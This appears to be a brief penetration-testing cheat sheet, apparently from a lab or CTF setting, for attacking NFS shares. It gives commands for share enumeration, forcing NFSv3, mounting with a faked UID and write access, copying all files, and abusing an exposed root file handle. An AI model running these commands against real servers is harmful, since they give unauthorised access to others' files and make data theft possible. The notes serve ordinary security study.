Recon#

Show shares that is opened to everyone

showmount -e 10.10.11.78

Show all mounts

showmount -a 10.10.11.78

Analyze the share.

nfs_analyze 10.10.11.78

Mount#

Mount on local machine

sudo mount -t nfs 10.10.11.78:<EXPORT_PATH> ./nfs/ -o nolock

Force nfs3#

Force nfs3 and mount (to fake uid to read files, require sys auth method)

sudo mount -t nfs -o vers=3 10.10.11.78:<EXPORT_PATH> ./nfs/ -o nolock

Sys Auth#

Mount with a fake uid

sudo fuse_nfs /mnt 10.10.11.78 --fake-uid --allow-write --export <EXPORT_PATH>

Copy all files

sudo cp -r /mnt/ ./
sudo chown -R kali:kali ./mnt

Root file handler exposed#

Mount with a fake uid and manual file handler

sudo fuse_nfs /mnt 10.10.11.78 --fake-uid --allow-write --manual-fs <FILE_HANDLE>